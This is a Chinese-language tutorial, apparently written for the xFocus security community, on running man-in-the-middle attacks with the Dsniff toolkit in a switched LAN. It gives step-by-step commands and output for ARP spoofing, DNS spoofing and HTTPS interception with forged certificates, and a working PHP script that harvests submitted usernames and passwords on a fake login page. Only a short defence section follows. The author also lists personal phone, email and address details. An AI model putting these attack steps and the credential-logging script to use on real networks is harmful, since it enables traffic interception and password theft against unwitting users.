|
Dsniff 是非常著名的嗅探工具集,本文描述在交换的环境下如何使用 Dsniff 中各种工具的组合开展各种 Man(Monkey)-in-the-Middle-Attack,主要分为三个部分,首先是简要介绍中间人攻击的基本原理;然后设计了几个比较典型的实例,从基本的 arpspoof 到比较高级的 HTTPs sniff;最后讨论针对 Dsniff 讨论对中间人攻击的防范措施。
[Table of Content]
_0x0000.[Preface]
_0x0001.[Describe Man(Monkey)-in-the-Middle-Attack]
|_0001.[Describe Arpspoof]
|_0010.[Describe Dnsspoof]
|_0011.!Update[Describe Monkey-in-the-Middle]
_0x0010.[Dsniff Tools Introduction]
_0x0011.[Practices]
|_0001.[Practice one: Arpspoof]
|_0010.[Practice two: Dnsspoof]
|_0011.!Update[Practice three: Sniff HTTPS]
_0x0100.[Summary]
_0x0101.[Finding Dsniff]
_0x0110.[the End]
_0x0111.[Contact]
_0x1000.[Reference]
#define PLAN "Switched LAN for these practices, 192.168.0.0/24"
#define EXTERNAL_SERVER "EXTERNAL Server, TELNET\WEB\HTTPS, etc."
#define DNS "DNS Server used by PLAN"
#define GW "GateWay of PLAN, Win2K with two NICs, private address is 192.168.0.1/32"
#define ALICE "the Victim, Windoze, 192.168.0.2/32"
#define EVE "the Man in the Middle, Linux, 192.168.9.3/32"
#define MAC_GW, "Hardware Address of GW"
#define MAC_ALICE, "Hardware Address of ALICE"
#define MAC_EVE "Hardware Address of EVE"
| _0x0001.[Describe Man(Monkey)-in-the-Middle-Attack] |
|
_0001.[Describe Arpspoof]
- ARP Request Packet Structure
[BroadCasting Address].[Source MAC Address].[0806].[0001].[06].[04].[0001:Request].[Sender Mac Address].[Sender IP Address].[00 00 00 00 00 00].[Target IP Address]
- ARP Reply Packet Structure
[Desination Mac Address].[Source MAC Address].[0806].[0001].[06].[04].[0002:Reply].[Sender MAC Address].[Sender IP Address].[Target IP Address].[20 20 20 ...:Trailer Chars]
ALICE 通过 GW 访问外部服务器 EXTERNAL_SERVER 的正常过程如下:
- ALICE 首先在本地的 ARP 缓存中查找 GW 的 ip->MAC 地址映射,假如存在则转到第4步,否则到第2步
- ALICE 发出关于 GW 的 ARP Request 请求,交换机向各个端口广播该请求
- GW 收到此请求,向 ALICE 发送 ARP Reply 回应,携带自身的 MAC 地址并记录 ALICE's MAC
- ALICE 把访问外部服务器的 IP 数据包封装成帧,帧首部写入 GW's MAC,通过 GW 路由访问外部服务器
- 路由为:ALICE --> GW --> EXTERNAL_SERVER
ALICE --[BroadCasting Address][who has the MAC of GW? tell ALLICE]--> [[[switch]]] ====> Others
ALICE <---- [[[switch]]] <--[MAC_ALICE][ALICE, this is the MAC of GW]-- GW
ALICE --[MAC_GW][IP packet][Trail]--> [[[switch]]] ----> GW ----> EXTERNAL_SERVER
EVE 对 ALICE 进行 ARPspoof 的完整过程如下:
- EVE 配置本机为 IP Forwarding 模式,并运行 dsniff 主程序对本地数据链路层进行嗅探
- EVE 持续向 ALICE 发送关于 GW 的 ARP Reply,携带欺诈的映射关系 GW_ipaddr --> EVE_MAC
- ALICE 发出关于 GW 的 ARP Request 请求,交换机向各个端口广播该请求
- ALICE 立即接收到 EVE 发送的 ARP Reply 并将欺诈的映射关系写入本地的 ARP 缓存
- 来自 GW 的 ARP Relply 到达的时候,ALICE 查看本地的 ARP 缓存发现已经存在相关映射,则忽略该正确的 Reply
- ALICE 把访问外部服务器的 IP 数据包封装成帧,帧首部写入 MAC_GW(spoofed with EVE's MAC)
- 此时的路由为:ALICE --> EVE --> GW --> EXTERNAL_SERVER
EVE -- [MAC_ALICE][ALICE, this is the MAC of GW] --> [[[switch]]] ----> ALICE
ALICE <-- [MAC_ALICE][ALICE, this is the MAC of GW(EVE's MAC)](ignored by ALICE, spoofed by EVE)
ALICE --[BroadCasting Address][who has the MAC of GW? tell ALLICE]--> [[[switch]]] ====> Others
ALICE <-- [ALICE, this is the MAC of GW(EVE's MAC)](now received by ALICE, spoofed by EVE)
ALICE <-- [ALICE, this is the MAC of GW](true reply from GW, but ignored by ALICE)
ALICE -- [MAC_EVE][IP packet] --> [[[switch]]] ----> EVE(dsniffing) ----> GW ----> EXTERNAL_SERVER
_0010.[Describe Dnsspoof]
ALICE 访问域名为 xxx.yyy.zzz 的外部服务器的正常过程如下:
- ALICE 要访问域名为 xxx.yyy.zzz 的外部服务器,首先向 PLAN 使用的 DNS 发出询问
- DNS 服务器接收该询问负责查询到 xxx.yyy.zzz 的 ipaddr 并把结果返回
- ALICE 收到 DNS 回应,使用该 ipaddr 访问 xxx.yyy.zzz
ALICE --[MAC_GW][DNS query xxx.yyy.zzz's ipaddr?]--> [[[switch]]] ----> GW -----> DNS
ALICE <---- [[[switch]]] <---- GW <--[DNS answer, xxx.yyy.zzz's ipaddr]-- DNS
ALICE --[MAC_GW][dst ip: xxx.yyy.zzz's ipaddr]--> [[[switch]]] ----> GW ----> xxx.yyy.zzz
EVE 对 ALICE 进行 Dnsspoof 的过程如下:
- 为了截获ALICE 发出的 DNS 请求首先使用 arpspoof:ALICE --> EVE --> GW --> EXTERNAL_SERVER
- EVE 运行 dnsspoof 以截获对 xxx.yyy.zzz 域名的 DNS 请求
- ALICE 要访问域名为 xxx.yyy.zzz 的外部服务器,向 PLAN 使用的 DNS 发出询问
- 该请求通过 EVE 时候被 dnsspoof 截获,dnsspoof 立即发送欺诈的 DNS 回应:xxx.yyy.zzz --> EVE's ipaddr(or any)
- ALICE 将此欺诈的 DNS 条目缓存
- DNS 服务器返回正确的解析,但是被 ALICE 忽略
- ALICE 访问域名 xxx.yyy.zzz 其实是访问 EVE's ipaddr
arpspoofing(GW_ipaddr --> MAC_EVE) ... ...
ALICE -->[MAC_EVE][DNS query xxx.yyy.zzz's ipaddr?]--> [[[switch]]] ----> EVE(dnsspoofing) ----> ...
EVE(capture the DNS query from ALICE) --[MAC_ALICE][DNS answer, xxx.yyy.zzz's ipaddr(EVE's ipaddr)]--> [[[switch]]]
ALICE <--[DNS answer, xxx.yyy.zzz's ipaddr(EVE's ipaddr)](received, spoofed by EVE!)--
ALICE <--[DNS answer, xxx.yyy.zzz's ipaddr](true DNS answer from DNS, but ignored by ALICE)--
ALICE --[EVE's addr]--> [[[switch]]] ----> EVE
_0011.[Describe Monkey-in-the-Middle]
- 首先使用 arpspoof:GW_ipaddr --> EVE_MAC
- 使用 dnsspoof 截获到 HTTPS 站点的 DNS 请求,并发送欺诈的 DNS 回应 www.yyy.zzz --> EVE_ipaddr
- 此时 ALICE 到 www.yyy.zzz 的 HTTP and HTTPS 都会发送到 EVE_ipaddr,对应端口为 80 and 443
- EVE 启动 webmitm 程序,它将对接收到的 HTTP/HTTPS 流量进行透明的代理
- 启动时 EVE 根据 https://www.yyy.zzz 的 SSL 证书相关信息配置 webmitm 面向 ALICE 的证书
- 假如 ALICE 访问 http(s)://www.yyy.zzz
- webmitm 充当 SSL 代理建立两条 SSL 连接,一条从 ALICE --> EVE,另一条从 EVE --> https://www.yyy.zzz
- webmitm 将把 Dsniff 产生的证书发送给 ALICE,这样就能破解这条 SSL 连接的数据了
- ALICE 的浏览器同 webmitm 建立 SSL 会话的时候,浏览器会给出告警信息但 ALICE 忽略这些信息接收该证书
- webmitm 将从 ALICE 浏览器端发送来的数据解密后呈现给 EVE
arpspoofing(GW_ipaddr --> MAC_EVE) ... ...
dnsspoofing(www.yyy.zzz --> EVE_ipaddr) ... ...
one_side: ALICE <--[SSL Certificate Issued to ALICE by webmitm(EVE)]--> EVE(webmitm)
the_other: EVE(webmitm) <--[SSL Certificate Issued to EVE by www.yyy.zzz]--> www.yyy.zzz
| _0x0010.[Dsniff Tools Introduction] |
|
- dsniff [-cdmn] [-i interface] [-s snaplen] [-f servicess] [-t trigger[,..]]] [-r|-w savefile] [expression]
- -c,嗅探单工、异步的 TCP 连接,和 arpspoof 配合
- -d,激活调试模式
- -m,启动协议的自动检测
- -n,不进行名称解析
- -i,指定嗅探的接口
- -s,指定分析的报头长度
- -t,装载触发事件
- -r|w,嗅探会话的读取或者存贮
- expression,使用 tcpdump filter 表达式指定流量
- arpspoof [-i interface] [-t target] host
- e.g, [EVE]#arpspoof -i eth0 GW
对 PLAN 内所有主机的进行 arpspoof,建立欺诈的 ARP 映射关系:GW_ipaddr --> EVE's MAC
- [EVE]#arpspoof -i eth0 ALICE GW
仅对 ALICE 主机进行 arpspoof,建立欺诈的 ARP 映射关系:GW_ipaddr --> EVE's MAC
- dnsspoof [-i interface] [-f hostfile] expression
-f hostsfile: Specify the pathname of file in hosts format. Only one hostname allowed per
line no aliases, although hostnames may contain wildcards.
- tcpkill [-i interface] [-1 ... 9] [expression : tcpdump filter]
为了对目标进行嗅探可能希望中止已有的连接并在新连接建立的阶段实施攻击,通过发送 RTS TCP Flag 的数据包中止网络中已经建立的 TCP 连接,[-1 ... 9]控制着 RST 数据包的相对速率,默认为3
- tcpnice [-I] [-i interface] [-n increment] expression
通过注入小的 TCP 窗口宣告和 ICMP source quench 包主动将流量速度减慢。控制指定 TCP 连接的速率以适应嗅探器
- urlsnarf [-n] [-i interface] [[-v] pattern [expression]]
从 HTTP 流量中获取所有 URL 信息
- filesnarf, mailsnarf, msgsnarf
- Webspy: 使用从网络截获的 URL 将受害者浏览过的页面显示在攻击者的浏览器上
|--[GW, win2K with two NIC]--[External Networks]
|
[[[switch/HUB]]]
| |
| |
[ALICE] [EVE: Linux, me]
_0001.[Practice_one: arpspoof]
Step one. spoofing
- <EVE TM1>#fragrouter -B1
EVE 首先把本地配置为 IP 转发模式,使用 fragrouter 工具可以做到,而且可以即时的看到被转发的数据
- <EVE TM2>#arpspoof –t 192.168.0.2 192.168.0.1
========arpspoofing===================================================
| DST_MAC | SRC_MAC | ARP Packet
======================================================================
| MAC_ALICE | MAC_EVE | 0806 42: arp reply 192.168.0.1 is-at MAC_EVE
| MAC_ALICE | MAC_EVE | 0806 42: arp reply 192.168.0.1 is-at MAC_EVE
| ... ...
======================================================================
- <EVE TM3>#dsniff -cm
==============================================================
... ...
==============================================================
Step two. sniffing
- <ALICE C:\>$telnet xxx.xxx.xxx.xxx
- <EVE TM3>#dsniff -cm
==============================================================
Password:
... ...
==============================================================
假如 AlICE 建立的是高速连接,例如使用浏览器浏览网页等,嗅探器可能会跟不上而没有输出,这时候可以尝试使用 tcpnice 适当的减缓 ALICE 连接的速率,这对嗅探者来说是不错的工具
- <ALICE IExplorer>http://xxx.yyy.zzz
- <EVE TM4>#tcpnice 10 host 192.168.0.2
- <EVE TM3>#dsniff -cm
- OR <EVE TM3>#urlsnarf
==============================================================
urlsnarf: listening on eth0 [tcp port 80 or port 8080 or port 3128]
192.168.0.2--[date] "GET http://xxx.yyy.zzz /HTTP/1.1"--"-" "... ..."
... ...
==============================================================
- OR <EVE TM3>#webspy
Step three. analysis
- <ALICE C:\>arp -a
==============================================================
| Internet Address | Physical Address | Type |
==============================================================
| 192.168.0.1 | MAC_EVE | Dynamic |
| 192.168.0.3 | MAC_EVE | Dynamic |
==============================================================
- 中止顺序为:arpspoof --> dsniff --> fragrouter
<EVE TM2>#arpspoof -t 192.168.0.2 192.168.0.1
CTRL^C
=====================================================================
| DST_MAC | SRC_MAC | ARP Packet
=====================================================================
| MAC_ALICE | MAC_EVE | 0806 42: arp reply 192.168.0.1 is-at MAC_GW
| MAC_ALICE | MAC_EVE | 0806 42: arp reply 192.168.0.1 is-at MAC_GW
=====================================================================
arpspoof 在开始时获得 GW 实际的硬件地址 MAC_GW;Ctrl^C 结束前会先向 ALICE 发送两次正确的 arp reply
_0010.[Practice_two: Dnsspoof]>
Step one. prepare to dnsspoof
EVE 首先编译安装并运行支持 PHP 脚本的 APACHE WEB 服务器,然后下载 www.yyy.zzz 的主页面将登录表单的 action 修改为 action = pass.php,pass.php 是一个简单的 PHP 脚本程序,功能是将提交表单中的用户名和密码信息记录到文件 passwd 中,然后把页面重定向到www.yyy.zzz 的实际 IP 地址。
========vi pass.php=================================================
<?php
$ipaddr = "1.2.3.4"; //Real IP address of www.yyy.zzz
$arr_requests = array();
if($HTTP_POST_VARS) {
while(list($key, $value)=each($HTTP_POST_VARS)) {
$arr_requests[$key] = $value;
}
}
if($HTTP_GET_VARS) {
while(list($key, $value)=each($HTTP_GET_VARS)) {
$arr_requests[$key] = $value;
}
}
$fd = fopen("passwd", "a");
$buffer = "-+-+-+-+-\n";
while(list($key, $value)=each($arr_requests)) {
$buffer.= $key." = ".$value."\n";
}
fputs($fd, $buffer);
fclose($fd);
header("Location: http://$ipaddr");
?>
========:wq==========================================================
Step two. arpspoof and dnsspoof
- <EVE TM1>#fragrouter -B1
- <EVE TM2>#arpspoof -t 192.168.0.2 192.168.0.1
- <EVE TM3>#vi hosts
==hosts content==
192.168.0.3 www.xfocus.net (just an example)
ip_address any.domainname.youwanttospoof
==hosts end==
- <EVE TM3>#dnsspoof -f hosts
==============================================================
dnsspoof listen on interface eth0
==============================================================
Step three. sniffing
- <ALICE IExplorer>http://www.yyy.zzz
- <EVE TM3>#dnsspoof -f hosts
========Screen=================================================
# 192.168.0.2:4934 > DNS:53 243+A? www.yyy.zzz
# 192.168.0.2:4934 > DNS:53 143+A? www.yyy.zzz
===============================================================
dnsspoof 捕捉到这个 DNS 请求,发出欺诈的解析 www.yyy.zzz --> 192.168.0.3(EVE himself)
- <ALICE IExplorer>http://www.yyy.zzz 将看到 EVE 上事先准备好的陷阱页面
- <EVE>#vi /www/htdoc/passwd
========Screen=================================================
-+-+-+-+-
username = abc (example)
password = abc
...(other fields)
-+-+-+-+-
... ...
===============================================================
step four. analysis
- <ALICE C:\>arp -a
==============================================================
| Internet Address | Physical Address | Type |
==============================================================
| 192.168.0.1 | MAC_EVE | Dynamic |
| 192.168.0.3 | MAC_EVE | Dynamic |
==============================================================
- <ALICE C:\>nslookup www.yyy.zzz
========Screen=================================================
Server: DNS
Address: DNS_addr
Non-authoritative answer:
Name: www.yyy.zzz
Address: 192.168.0.3
===============================================================
_0011.[Practice_three: sniff HTTPS with webmitm]>
Step one: preparation
选择一个 HTTPS 站点,记录下证书的基本信息供 webmitm 制作证书使用,例如 www.xFocus.org 证书的基本信息为:
Xfocus SSL Certificate:
[Issued To]
- Common Name (CN) : www.xfocus.org
- Orgnazation (O) : Xfocus
- Orgnazation Unit (OU) : Xfocus Team
- Serial number : 01
[Issued By]
- Common Name : Xfocus CA
- Orgnaztaion (O) : Xfocus
- Orgnazation (OU) : Xfocus
- ST: Beijing
[Volidity]
- Issued On : 05/23/2003
- Expired On : 05/20/2013
... ...
All right, let me show you how to sniff HTTPS ... ...
Step two: arpspoof and dnsspoof
- EVE 不再运行 fragrouter 进行 IP 转发,而是利用 webmitm 进行 HTTP and HTTPS 的代理
- <EVE TM2>#arpspoof -t 192.168.0.2 192.168.0.1
- <EVE TM3>#dnsspoof -f hosts
---vi hosts---
192.168.0.3 www.xfocus.net
192.168.0.3 www.xfocus.org
---:wq---
Step three: sniffing HTTPS
- <EVE TM3>#webmitm
========Screen=================================================
warning, not match extra random data, consider using the -rand option
Generationg RSA private key, 1024 bit log modulrs
.++++++
....................................++++++
e is 65537 (0x10001)
Using configuration from /usr/share/ssl/openssl.cnf
You are about to be asked to enter information that will be incorporated into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank.
For some fields there will be a default value.
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]: CN
State or Province Name (full name) [Some-State] : Beijing
Locality Name (eq, city) [] : Beijing
Orgnization Name (eq, company) [Internet Widghts PtyLtd] : Xfocus
Orgnization Unit Name (eq, section) [] : Xfocus Team
Common Name (eg, your name or your server's hostname) [] :www.xfocus.org
Email Address [] : webmast@xfocus.org
Please enter the following 'extra' attibutes to be sent with your certificate request
A challenge password []:
An optional company name []:
Signature ok
Subject=/C=CN/ST=Beijing/L=Beijing/O=Xfocus/OU=Xfoucs Team/CN=www.xfocus.org/Email=webmast@xfocus.org
Getting Private key
webmitm: certificate genrated
webmitm: relaying transparently
===============================================================
按照提示根据 Step one 中记录的信息制作面向 ALICE 的 SSL 认证证书,webmitm 会在当前目录下生成一个文件 webmitm.crt 来保存这些
信息,如果该文件不存在,调用 webmitm 的时候会首先提示你按照上面的步骤生成你所希望的证书,原则就是尽量和真的证书保持一致。上面的斜体粗体部分就是需要填入的内容。
- ALICE 使用 IE 浏览器访问 xFocus 的论坛,https://www.xfocus.org/bbs/index.php?lang=en,然后使用登录表单登录论坛,用户名使用我的 r00t
- 好,让我们看看 webmitm 的结果吧:
<EVE TM3>#webmitm -dd
参数 -dd 可以显示出所有 ALICE 的 request 请求(包括 post 和 get);参数 -d 显示一些重要的信息。
===============================================================
webmitm: relaying transparently
webmitm: new connetion from 192.168.0.2.4646
GET /bbs/css/stylesheet_1.css HTTP/1.1
ACCETP: */*
Refever: https://www.xfocus.org
Accept-language: zh_cn
Accept-Encoding: gzip, default
User_Agent: Mozilla/4.0 (Compatible: MSIE 5.01; Windows NT 5.0)
Host: www.xfocus.org
Connect: keep-Alive
Cookie: PHPSESSID=... ...(省略)
... ...(这是一些获得图片等的请求,篇幅太长所以省略)
act=lgoin&do=01&Username=r00t&Password=******(我的密码,当然不能写出来了)&submit=Log+me+inwebmitm
===============================================================
Step four: analysis
- &ALICE C:\>nslookup www.xfocus.org
===============================================================
Server: UNKNOWN
Address: DNS_addr
non-authoritative answer
www.xfocus.org 192.168.0.3
===============================================================
- 在前面的例子中使用 fragrouter 转发 IP 包来保持连接的完整,现在使用 webmitm 作为代理来保持连接的完整性
<EVE>#nmap -sS -O localhost
结果可以看到webmitm 打开了本地的 80 和 443 端口作为代理端口
- 假如攻击者处于一个比较高的域,比如是电信机房某个哥们,利用这种方法再配合一些交换机的配置可以嗅探到任何 HTTPS SSH的数据了
- Dsniff 中的另一种工具 sshmitm 和 webmitm 道理和使用是一致的,webmitm -ddd 会显示更多的信息
- arpspoof 和 dnsspoof 都是采用了提前响应的方式实现中间人攻击,arpspoof 在数据链路层,dnsspoof 在网络层,这是 Dsniff 工具集的基础,我们可以从这一点出发设计其他的嗅探;
- tcpnice 和 tcpkill 是利用了 tcp 协议流量控制和三次握手的规律,这启发我们利用 tcp 协议来主动进行一些连接控制;
- webmitm 和 sshmitm 又是利用中间人攻击实现了对 SSL/SSH 的嗅探;
Dsniff's 'webmitm' proxies both cleartext http (port 80) and SSL-encrypted https (port 443). The SSL stream is authenticated (then encrypted) with the attack coputer's x509 certificate between attack and victim, and authenticated (then encrypted) with the server certificate between attack and server.
- 注意二者都利用协议无连接的性质,所以提前响应起到了效果,我们可以这个角度研究其他的协议。
利用 arpspoof 和 dnsspoof 还能做些其他意思的东西,比如:
-
指定一条路由:ALICE --> EVE1 --> EVE2 --> EVE3 --> GW 来隐藏踪迹
<EVE3>#fragrouter -B1
<EVE3>#arpspoof -t EVE2_ipaddr GW
<EVE2>#fragrouter -B1
<EVE2>#arpspoof -t EVE1_ipaddr GW
<EVE1>#fragrouter -B1
<EVE1>#arpspoof -t ALICE_ipaddr GW
-
假如网关使用 Linux 系统,我们可以通过在网关上使用 dnsspoof 重定向一些非法网站的域名到一个运行了警告页面的内部服务器上,除非用户记得住它们的 ip 地址。
- 对于主机:
<ALICE C:\> arp -a \\ 察看本地 ARP 缓存是否中毒(存在不同的 IP 对应了相同的 MAC 地址)
<ALICE C:\> traceroute xxx.yyy.zzz \\ 注意近端路由是否正常
- 对于网络:
... ...
It takes me three days to complete this page, thanks for viewing at first, any advice is appreciated. I am a sincere friend of xFocus-net and I am willing to do something for it. Three days before, I read the Introduction in Xfocus forum and I am very interested of the xConference, especially the topic of wirlless security because that I am working in wirlless communication.
So I post this page to have a try, but I am not very confident. I wish that I could have a chance to present this conference just to listen, if possible, I am willing to pay myself all. And I will improve some parts later, there are still many interesting games underground with Dsniff.
Thx.
- xFoucs-Forum-Account:r00t
- E-mail: no.7@263.net(Recommened!)
- Homepage: http://211.143.123.18/
- OICQ: 39900452
- Mobile-Number: 13831909884
- AGE: 22
- Address: XingTai, HeBei Province
|